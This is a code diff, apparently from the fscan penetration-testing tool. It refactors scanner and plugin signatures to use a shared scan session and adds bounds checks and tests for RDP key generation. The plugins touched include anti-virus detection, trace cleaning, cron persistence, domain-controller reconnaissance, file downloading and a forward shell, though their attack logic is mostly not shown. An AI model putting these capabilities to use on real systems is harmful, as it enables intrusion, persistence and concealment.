// 使用HEAD请求(更轻量)
|
||||||
httpURL := fmt.Sprintf("http://%s", addr)
|
httpURL := fmt.Sprintf("http://%s", addr)
|
||||||
@@ -124,14 +136,14 @@ func createHTTPClient(config *common.Config) *http.Client {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// DetectHTTPServiceOnly HTTP协议检测 - 保持API兼容,简化实现
|
// DetectHTTPServiceOnly HTTP协议检测 - 保持API兼容,简化实现
|
||||||
func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *common.Config) bool {
|
func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *common.Config, session *common.ScanSession) bool {
|
||||||
// 优化:先快速检测 TCP 连通性,避免在不可达端口上浪费双倍超时时间
|
// 优化:先快速检测 TCP 连通性,避免在不可达端口上浪费双倍超时时间
|
||||||
// 对于不存在的端口,这可以将检测时间从 2×timeout 减少到 1×timeout
|
// 对于不存在的端口,这可以将检测时间从 2×timeout 减少到 1×timeout
|
||||||
if !isPortReachable(host, port, config) {
|
if !isPortReachable(host, port, config, session) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
client := createHTTPClient(config)
|
client := getSharedHTTPClient(config)
|
||||||
|
|
||||||
// 尝试HTTP
|
// 尝试HTTP
|
||||||
if w.tryHTTP(client, host, port, "http") {
|
if w.tryHTTP(client, host, port, "http") {
|
||||||
@@ -148,11 +160,11 @@ func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *c
|
|||||||
|
|
||||||
// isPortReachable 快速检测端口是否可达(TCP 连接测试)
|
// isPortReachable 快速检测端口是否可达(TCP 连接测试)
|
||||||
// 用于在 HTTP/HTTPS 检测前过滤不可达端口,避免双重超时
|
// 用于在 HTTP/HTTPS 检测前过滤不可达端口,避免双重超时
|
||||||
func isPortReachable(host string, port int, config *common.Config) bool {
|
func isPortReachable(host string, port int, config *common.Config, session *common.ScanSession) bool {
|
||||||
timeout := config.Network.WebTimeout
|
timeout := config.Network.WebTimeout
|
||||||
addr := net.JoinHostPort(host, strconv.Itoa(port))
|
addr := net.JoinHostPort(host, strconv.Itoa(port))
|
||||||
|
|
||||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
conn, err := session.DialTCP(context.Background(), "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@@ -276,30 +288,6 @@ func IsMarkedWebService(host string, port int) bool {
|
|||||||
return exists
|
return exists
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===============================
|
|
||||||
// 指纹缓存
|
|
||||||
// ===============================
|
|
||||||
|
|
||||||
// 指纹缓存 - 存储 host:port → 指纹列表的映射
|
|
||||||
var (
|
|
||||||
fingerprintCache = make(map[string][]string)
|
|
||||||
fingerprintCacheMutex sync.RWMutex
|
|
||||||
)
|
|
||||||
|
|
||||||
// SetFingerprints 存储目标的指纹信息
|
|
||||||
func SetFingerprints(host string, port int, fingerprints []string) {
|
|
||||||
if len(fingerprints) == 0 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
cacheKey := fmt.Sprintf("%s:%d", host, port)
|
|
||||||
|
|
||||||
fingerprintCacheMutex.Lock()
|
|
||||||
defer fingerprintCacheMutex.Unlock()
|
|
||||||
|
|
||||||
fingerprintCache[cacheKey] = fingerprints
|
|
||||||
}
|
|
||||||
|
|
||||||
// ===============================
|
// ===============================
|
||||||
// Web扫描策略
|
// Web扫描策略
|
||||||
// ===============================
|
// ===============================
|
||||||
@@ -327,7 +315,7 @@ func (s *WebScanStrategy) Description() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Execute 执行Web扫描策略
|
// Execute 执行Web扫描策略
|
||||||
func (s *WebScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
func (s *WebScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||||
// 输出扫描开始信息
|
// 输出扫描开始信息
|
||||||
s.LogScanStart()
|
s.LogScanStart()
|
||||||
|
|
||||||
@@ -338,13 +326,13 @@ func (s *WebScanStrategy) Execute(config *common.Config, state *common.State, in
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 准备URL目标
|
// 准备URL目标
|
||||||
targets := s.PrepareTargets(info, state)
|
targets := s.PrepareTargets(info, session.State)
|
||||||
|
|
||||||
// 输出插件信息
|
// 输出插件信息
|
||||||
s.LogPluginInfo(config)
|
s.LogPluginInfo(session.Config)
|
||||||
|
|
||||||
// 执行扫描任务
|
// 执行扫描任务
|
||||||
ExecuteScanTasks(config, state, targets, s, ch, wg)
|
ExecuteScanTasks(ctx, session, targets, s, ch, wg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// PrepareTargets 准备URL目标列表
|
// PrepareTargets 准备URL目标列表
|
||||||
|
|||||||
@@ -662,6 +662,8 @@ func TestDetectHTTPScheme(t *testing.T) {
|
|||||||
cfg.Network.WebTimeout = 2 * time.Second
|
cfg.Network.WebTimeout = 2 * time.Second
|
||||||
defer func() { cfg.Network.WebTimeout = oldTimeout }()
|
defer func() { cfg.Network.WebTimeout = oldTimeout }()
|
||||||
|
|
||||||
|
session := common.NewScanSession(cfg, common.NewState(), common.GetFlagVars())
|
||||||
|
|
||||||
t.Run("HTTPS服务器检测", func(t *testing.T) {
|
t.Run("HTTPS服务器检测", func(t *testing.T) {
|
||||||
// 创建HTTPS测试服务器
|
// 创建HTTPS测试服务器
|
||||||
server := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
server := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
@@ -677,7 +679,7 @@ func TestDetectHTTPScheme(t *testing.T) {
|
|||||||
port, _ := strconv.Atoi(portStr)
|
port, _ := strconv.Atoi(portStr)
|
||||||
|
|
||||||
// 测试检测
|
// 测试检测
|
||||||
result := DetectHTTPScheme(host, port, cfg)
|
result := DetectHTTPScheme(host, port, cfg, session)
|
||||||
if result != "https" {
|
if result != "https" {
|
||||||
t.Errorf("DetectHTTPScheme() = %q, 期望 'https'", result)
|
t.Errorf("DetectHTTPScheme() = %q, 期望 'https'", result)
|
||||||
}
|
}
|
||||||
@@ -698,7 +700,7 @@ func TestDetectHTTPScheme(t *testing.T) {
|
|||||||
port, _ := strconv.Atoi(portStr)
|
port, _ := strconv.Atoi(portStr)
|
||||||
|
|
||||||
// 测试检测
|
// 测试检测
|
||||||
result := DetectHTTPScheme(host, port, cfg)
|
result := DetectHTTPScheme(host, port, cfg, session)
|
||||||
if result != "http" {
|
if result != "http" {
|
||||||
t.Errorf("DetectHTTPScheme() = %q, 期望 'http'", result)
|
t.Errorf("DetectHTTPScheme() = %q, 期望 'http'", result)
|
||||||
}
|
}
|
||||||
@@ -706,7 +708,7 @@ func TestDetectHTTPScheme(t *testing.T) {
|
|||||||
|
|
||||||
t.Run("不存在的服务", func(t *testing.T) {
|
t.Run("不存在的服务", func(t *testing.T) {
|
||||||
// 使用127.0.0.1的一个未使用端口
|
// 使用127.0.0.1的一个未使用端口
|
||||||
result := DetectHTTPScheme("127.0.0.1", 65534, cfg)
|
result := DetectHTTPScheme("127.0.0.1", 65534, cfg, session)
|
||||||
if result != "" {
|
if result != "" {
|
||||||
t.Errorf("不存在的服务应返回空字符串, 实际 %q", result)
|
t.Errorf("不存在的服务应返回空字符串, 实际 %q", result)
|
||||||
}
|
}
|
||||||
@@ -736,7 +738,7 @@ func TestDetectHTTPScheme(t *testing.T) {
|
|||||||
port, _ := strconv.Atoi(portStr)
|
port, _ := strconv.Atoi(portStr)
|
||||||
|
|
||||||
// 测试检测
|
// 测试检测
|
||||||
result := DetectHTTPScheme("127.0.0.1", port, cfg)
|
result := DetectHTTPScheme("127.0.0.1", port, cfg, session)
|
||||||
if result != "" {
|
if result != "" {
|
||||||
t.Logf("非Web服务检测返回: %q (预期空字符串,但立即关闭连接可能被误判)", result)
|
t.Logf("非Web服务检测返回: %q (预期空字符串,但立即关闭连接可能被误判)", result)
|
||||||
}
|
}
|
||||||
@@ -757,7 +759,7 @@ func TestDetectHTTPScheme(t *testing.T) {
|
|||||||
host, portStr, _ := net.SplitHostPort(server.Listener.Addr().String())
|
host, portStr, _ := net.SplitHostPort(server.Listener.Addr().String())
|
||||||
port, _ := strconv.Atoi(portStr)
|
port, _ := strconv.Atoi(portStr)
|
||||||
|
|
||||||
result := DetectHTTPScheme(host, port, cfg)
|
result := DetectHTTPScheme(host, port, cfg, session)
|
||||||
if result != "https" {
|
if result != "https" {
|
||||||
t.Errorf("TLS 1.0服务器应被检测为https, 实际 %q", result)
|
t.Errorf("TLS 1.0服务器应被检测为https, 实际 %q", result)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
"syscall"
|
"syscall"
|
||||||
@@ -64,7 +65,8 @@ func main() {
|
|||||||
os.Exit(130) // 128 + SIGINT(2) = 130,标准的中断退出码
|
os.Exit(130) // 128 + SIGINT(2) = 130,标准的中断退出码
|
||||||
}()
|
}()
|
||||||
defer func() { _ = common.Cleanup() }()
|
defer func() { _ = common.Cleanup() }()
|
||||||
|
defer common.CloseLogger()
|
||||||
|
|
||||||
// 执行扫描
|
// 执行扫描
|
||||||
core.RunScan(*result.Info, result.Config, result.State)
|
core.RunScan(context.Background(), *result.Info, result.Session)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -173,7 +173,7 @@ func (g *Client) NlaAuthOnly(domain, user, pwd string, timeout int64) (bool, err
|
|||||||
|
|
||||||
func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpProtocol uint32) (info map[string]any) {
|
func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpProtocol uint32) (info map[string]any) {
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
exitFlag := make(chan bool)
|
exitFlag := make(chan bool, 1)
|
||||||
info = make(map[string]any)
|
info = make(map[string]any)
|
||||||
|
|
||||||
targetSlice := strings.Split(g.Host, ":")
|
targetSlice := strings.Split(g.Host, ":")
|
||||||
@@ -200,6 +200,12 @@ func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpP
|
|||||||
g.pdu.SetFastPathSender(g.tpkt)
|
g.pdu.SetFastPathSender(g.tpkt)
|
||||||
g.sec.SetChannelSender(g.mcs)
|
g.sec.SetChannelSender(g.mcs)
|
||||||
|
|
||||||
|
g.sec.On("error", func(e error) {
|
||||||
|
err = e
|
||||||
|
glog.Error("sec error", e)
|
||||||
|
g.pdu.Emit("done")
|
||||||
|
})
|
||||||
|
|
||||||
g.tpkt.On("os_info", func(infoMap map[string]any) {
|
g.tpkt.On("os_info", func(infoMap map[string]any) {
|
||||||
glog.Debug("[+] callback, get os info ........................")
|
glog.Debug("[+] callback, get os info ........................")
|
||||||
for k, v := range infoMap {
|
for k, v := range infoMap {
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import (
|
|||||||
"crypto/sha1"
|
"crypto/sha1"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"errors"
|
"errors"
|
||||||
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"unicode/utf16"
|
"unicode/utf16"
|
||||||
|
|
||||||
@@ -495,7 +496,9 @@ func (c *Client) connect(clientData []interface{}, serverData []interface{}, use
|
|||||||
c.enableEncryption = c.ClientCoreData().ServerSelectedProtocol == 0
|
c.enableEncryption = c.ClientCoreData().ServerSelectedProtocol == 0
|
||||||
|
|
||||||
if c.enableEncryption {
|
if c.enableEncryption {
|
||||||
c.sendClientRandom()
|
if !c.sendClientRandom() {
|
||||||
|
return
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
c.sendInfoPkt()
|
c.sendInfoPkt()
|
||||||
@@ -611,7 +614,11 @@ func sessionKeyBlob(secret, random1, random2 []byte) []byte {
|
|||||||
return ms.Bytes()
|
return ms.Bytes()
|
||||||
|
|
||||||
}
|
}
|
||||||
func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []byte, []byte) {
|
func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []byte, []byte, error) {
|
||||||
|
if len(clientRandom) < 32 || len(serverRandom) < 32 {
|
||||||
|
return nil, nil, nil, fmt.Errorf("invalid RDP random length: client=%d server=%d", len(clientRandom), len(serverRandom))
|
||||||
|
}
|
||||||
|
|
||||||
b := &bytes.Buffer{}
|
b := &bytes.Buffer{}
|
||||||
b.Write(clientRandom[:24])
|
b.Write(clientRandom[:24])
|
||||||
b.Write(serverRandom[:24])
|
b.Write(serverRandom[:24])
|
||||||
@@ -633,12 +640,12 @@ func generateKeys(clientRandom, serverRandom []byte, method uint32) ([]byte, []b
|
|||||||
glog.Debug("SecondKey128:", hex.EncodeToString(initialSecondKey128))
|
glog.Debug("SecondKey128:", hex.EncodeToString(initialSecondKey128))
|
||||||
//generate valid key
|
//generate valid key
|
||||||
if method == gcc.ENCRYPTION_FLAG_40BIT {
|
if method == gcc.ENCRYPTION_FLAG_40BIT {
|
||||||
return gen40bits(macKey128), gen40bits(initialFirstKey128), gen40bits(initialSecondKey128)
|
return gen40bits(macKey128), gen40bits(initialFirstKey128), gen40bits(initialSecondKey128), nil
|
||||||
} else if method == gcc.ENCRYPTION_FLAG_56BIT {
|
} else if method == gcc.ENCRYPTION_FLAG_56BIT {
|
||||||
return gen56bits(macKey128), gen56bits(initialFirstKey128), gen56bits(initialSecondKey128)
|
return gen56bits(macKey128), gen56bits(initialFirstKey128), gen56bits(initialSecondKey128), nil
|
||||||
}
|
}
|
||||||
// method == gcc.ENCRYPTION_FLAG_128BIT
|
// method == gcc.ENCRYPTION_FLAG_128BIT
|
||||||
return macKey128, initialFirstKey128, initialSecondKey128
|
return macKey128, initialFirstKey128, initialSecondKey128, nil
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -656,7 +663,7 @@ func (e *ClientSecurityExchangePDU) serialize() []byte {
|
|||||||
|
|
||||||
return buff.Bytes()
|
return buff.Bytes()
|
||||||
}
|
}
|
||||||
func (c *Client) sendClientRandom() {
|
func (c *Client) sendClientRandom() bool {
|
||||||
glog.Debug("send Client Random")
|
glog.Debug("send Client Random")
|
||||||
|
|
||||||
clientRandom := core.Random(32)
|
clientRandom := core.Random(32)
|
||||||
@@ -665,8 +672,14 @@ func (c *Client) sendClientRandom() {
|
|||||||
serverRandom := c.ServerSecurityData().ServerRandom
|
serverRandom := c.ServerSecurityData().ServerRandom
|
||||||
glog.Debug("ServerRandom:", hex.EncodeToString(serverRandom))
|
glog.Debug("ServerRandom:", hex.EncodeToString(serverRandom))
|
||||||
|
|
||||||
c.macKey, c.initialDecrytKey, c.initialEncryptKey = generateKeys(clientRandom,
|
var err error
|
||||||
|
c.macKey, c.initialDecrytKey, c.initialEncryptKey, err = generateKeys(clientRandom,
|
||||||
serverRandom, c.ServerSecurityData().EncryptionMethod)
|
serverRandom, c.ServerSecurityData().EncryptionMethod)
|
||||||
|
if err != nil {
|
||||||
|
glog.Error("generateKeys failed:", err)
|
||||||
|
c.Emit("error", err)
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
//initialize keys
|
//initialize keys
|
||||||
c.currentDecrytKey = c.initialDecrytKey
|
c.currentDecrytKey = c.initialDecrytKey
|
||||||
@@ -681,13 +694,13 @@ func (c *Client) sendClientRandom() {
|
|||||||
if err != nil || serverPubKey == nil {
|
if err != nil || serverPubKey == nil {
|
||||||
glog.Error("GetPublicKey failed:", err)
|
glog.Error("GetPublicKey failed:", err)
|
||||||
c.Emit("error", errors.New("failed to get server public key"))
|
c.Emit("error", errors.New("failed to get server public key"))
|
||||||
return
|
return false
|
||||||
}
|
}
|
||||||
ret, err := rsa.EncryptPKCS1v15(rand.Reader, serverPubKey, core.Reverse(clientRandom))
|
ret, err := rsa.EncryptPKCS1v15(rand.Reader, serverPubKey, core.Reverse(clientRandom))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
glog.Error("EncryptPKCS1v15 err:", err)
|
glog.Error("EncryptPKCS1v15 err:", err)
|
||||||
c.Emit("error", err)
|
c.Emit("error", err)
|
||||||
return
|
return false
|
||||||
}
|
}
|
||||||
message := ClientSecurityExchangePDU{}
|
message := ClientSecurityExchangePDU{}
|
||||||
message.EncryptedClientRandom = core.Reverse(ret)
|
message.EncryptedClientRandom = core.Reverse(ret)
|
||||||
@@ -697,6 +710,7 @@ func (c *Client) sendClientRandom() {
|
|||||||
glog.Debug("message:", message)
|
glog.Debug("message:", message)
|
||||||
|
|
||||||
c.sendFlagged(EXCHANGE_PKT, message.serialize())
|
c.sendFlagged(EXCHANGE_PKT, message.serialize())
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
func (c *Client) sendInfoPkt() {
|
func (c *Client) sendInfoPkt() {
|
||||||
var secFlag uint16 = INFO_PKT
|
var secFlag uint16 = INFO_PKT
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package sec
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/mylib/grdp/glog"
|
||||||
|
"github.com/shadow1ng/fscan/mylib/grdp/protocol/t125/gcc"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestGenerateKeysRejectsShortRandoms(t *testing.T) {
|
||||||
|
glog.SetLevel(glog.NONE)
|
||||||
|
|
||||||
|
clientRandom := make([]byte, 32)
|
||||||
|
serverRandom := make([]byte, 32)
|
||||||
|
|
||||||
|
if _, _, _, err := generateKeys(clientRandom, nil, gcc.ENCRYPTION_FLAG_128BIT); err == nil {
|
||||||
|
t.Fatal("expected error for empty server random")
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, _, _, err := generateKeys(nil, serverRandom, gcc.ENCRYPTION_FLAG_128BIT); err == nil {
|
||||||
|
t.Fatal("expected error for empty client random")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGenerateKeysAcceptsValidRandoms(t *testing.T) {
|
||||||
|
glog.SetLevel(glog.NONE)
|
||||||
|
|
||||||
|
clientRandom := make([]byte, 32)
|
||||||
|
serverRandom := make([]byte, 32)
|
||||||
|
|
||||||
|
macKey, decryptKey, encryptKey, err := generateKeys(clientRandom, serverRandom, gcc.ENCRYPTION_FLAG_128BIT)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("generateKeys returned error for valid randoms: %v", err)
|
||||||
|
}
|
||||||
|
if len(macKey) != 16 || len(decryptKey) != 16 || len(encryptKey) != 16 {
|
||||||
|
t.Fatalf("unexpected key lengths: mac=%d decrypt=%d encrypt=%d", len(macKey), len(decryptKey), len(encryptKey))
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-2
@@ -11,7 +11,7 @@ import (
|
|||||||
// Plugin 统一插件接口
|
// Plugin 统一插件接口
|
||||||
type Plugin interface {
|
type Plugin interface {
|
||||||
Name() string
|
Name() string
|
||||||
Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *Result
|
Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *Result
|
||||||
}
|
}
|
||||||
|
|
||||||
// BasePlugin 基础插件结构,提供通用的name字段
|
// BasePlugin 基础插件结构,提供通用的name字段
|
||||||
@@ -62,7 +62,7 @@ type Result struct {
|
|||||||
|
|
||||||
// Exploiter 利用接口
|
// Exploiter 利用接口
|
||||||
type Exploiter interface {
|
type Exploiter interface {
|
||||||
Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult
|
Exploit(ctx context.Context, info *common.HostInfo, creds Credential, session *common.ScanSession) *ExploitResult
|
||||||
}
|
}
|
||||||
|
|
||||||
// ExploitResult 利用结果
|
// ExploitResult 利用结果
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ func NewAVDetectPlugin() *AVDetectPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行AV/EDR检测 - 直接、有效
|
// Scan 执行AV/EDR检测 - 直接、有效
|
||||||
func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
var detectedAVs []string
|
var detectedAVs []string
|
||||||
|
|
||||||
@@ -69,7 +69,7 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
output.WriteString(fmt.Sprintf("扫描进程数: %d\n\n", len(processes)))
|
_, _ = fmt.Fprintf(&output, "扫描进程数: %d\n\n", len(processes))
|
||||||
|
|
||||||
// 检测AV产品 - 使用JSON数据库
|
// 检测AV产品 - 使用JSON数据库
|
||||||
for avName, avProduct := range p.avProducts {
|
for avName, avProduct := range p.avProducts {
|
||||||
@@ -92,13 +92,13 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
|
|
||||||
if len(foundProcesses) > 0 {
|
if len(foundProcesses) > 0 {
|
||||||
detectedAVs = append(detectedAVs, avName)
|
detectedAVs = append(detectedAVs, avName)
|
||||||
output.WriteString(fmt.Sprintf("✓ 检测到 %s:\n", avName))
|
_, _ = fmt.Fprintf(&output, "✓ 检测到 %s:\n", avName)
|
||||||
|
|
||||||
common.LogSuccess(i18n.Tr("avdetect_found", avName, len(foundProcesses)))
|
common.LogSuccess(i18n.Tr("avdetect_found", avName, len(foundProcesses)))
|
||||||
|
|
||||||
// 输出详细进程信息到控制台
|
// 输出详细进程信息到控制台
|
||||||
for _, proc := range foundProcesses {
|
for _, proc := range foundProcesses {
|
||||||
output.WriteString(fmt.Sprintf(" - %s\n", proc))
|
_, _ = fmt.Fprintf(&output, " - %s\n", proc)
|
||||||
common.LogInfo(i18n.Tr("avdetect_process", proc))
|
common.LogInfo(i18n.Tr("avdetect_process", proc))
|
||||||
}
|
}
|
||||||
output.WriteString("\n")
|
output.WriteString("\n")
|
||||||
@@ -107,7 +107,7 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
|
|
||||||
// 统计结果
|
// 统计结果
|
||||||
output.WriteString("=== 检测结果 ===\n")
|
output.WriteString("=== 检测结果 ===\n")
|
||||||
output.WriteString(fmt.Sprintf("检测到的AV产品: %d个\n", len(detectedAVs)))
|
_, _ = fmt.Fprintf(&output, "检测到的AV产品: %d个\n", len(detectedAVs))
|
||||||
|
|
||||||
if len(detectedAVs) > 0 {
|
if len(detectedAVs) > 0 {
|
||||||
output.WriteString("检测到的产品: " + strings.Join(detectedAVs, ", ") + "\n")
|
output.WriteString("检测到的产品: " + strings.Join(detectedAVs, ", ") + "\n")
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ func NewCleanerPlugin() *CleanerPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行系统痕迹清理 - 直接、简单
|
// Scan 执行系统痕迹清理 - 直接、简单
|
||||||
func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
var filesCleared, dirsCleared, sysCleared int
|
var filesCleared, dirsCleared, sysCleared int
|
||||||
|
|
||||||
@@ -44,7 +44,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
for _, file := range files {
|
for _, file := range files {
|
||||||
if p.removeFile(file) {
|
if p.removeFile(file) {
|
||||||
filesCleared++
|
filesCleared++
|
||||||
output.WriteString(fmt.Sprintf("清理文件: %s\n", file))
|
_, _ = fmt.Fprintf(&output, "清理文件: %s\n", file)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -53,7 +53,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
for _, file := range tempFiles {
|
for _, file := range tempFiles {
|
||||||
if p.removeFile(file) {
|
if p.removeFile(file) {
|
||||||
filesCleared++
|
filesCleared++
|
||||||
output.WriteString(fmt.Sprintf("清理临时文件: %s\n", file))
|
_, _ = fmt.Fprintf(&output, "清理临时文件: %s\n", file)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -35,7 +35,8 @@ func NewCronTaskPlugin() *CronTaskPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行计划任务持久化 - 直接实现
|
// Scan 执行计划任务持久化 - 直接实现
|
||||||
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
if runtime.GOOS != "linux" {
|
if runtime.GOOS != "linux" {
|
||||||
|
|||||||
@@ -41,7 +41,9 @@ func NewDCInfoPlugin() *DCInfoPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行域控信息收集 - 直接实现
|
// Scan 执行域控信息收集 - 直接实现
|
||||||
func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
_ = session.Config
|
||||||
|
_ = session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
output.WriteString("=== 域控制器信息收集 ===\n")
|
output.WriteString("=== 域控制器信息收集 ===\n")
|
||||||
|
|||||||
@@ -35,7 +35,8 @@ func NewDownloaderPlugin() *DownloaderPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行文件下载任务 - 直接实现
|
// Scan 执行文件下载任务 - 直接实现
|
||||||
func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ func NewEnvInfoPlugin() *EnvInfoPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行环境变量收集 - 直接、有效
|
// Scan 执行环境变量收集 - 直接、有效
|
||||||
func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *EnvInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
var sensitiveVars []string
|
var sensitiveVars []string
|
||||||
|
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ func NewFileInfoPlugin() *FileInfoPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行本地文件扫描 - 直接、简单、有效
|
// Scan 执行本地文件扫描 - 直接、简单、有效
|
||||||
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
var foundFiles []string
|
var foundFiles []string
|
||||||
|
|
||||||
// 扫描关键敏感文件位置 - 删除复杂的配置系统
|
// 扫描关键敏感文件位置 - 删除复杂的配置系统
|
||||||
|
|||||||
@@ -37,7 +37,9 @@ func NewForwardShellPlugin() *ForwardShellPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行正向Shell服务 - 直接实现
|
// Scan 执行正向Shell服务 - 直接实现
|
||||||
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
@@ -114,14 +116,20 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i
|
|||||||
}
|
}
|
||||||
|
|
||||||
common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String()))
|
common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String()))
|
||||||
go p.handleClient(conn)
|
go p.handleClient(ctx, conn)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// handleClient 处理客户端连接
|
// handleClient 处理客户端连接
|
||||||
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
|
func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn) {
|
||||||
defer func() { _ = clientConn.Close() }()
|
defer func() { _ = clientConn.Close() }()
|
||||||
|
|
||||||
|
// ctx 取消时关闭连接,解除阻塞的读操作
|
||||||
|
go func() {
|
||||||
|
<-ctx.Done()
|
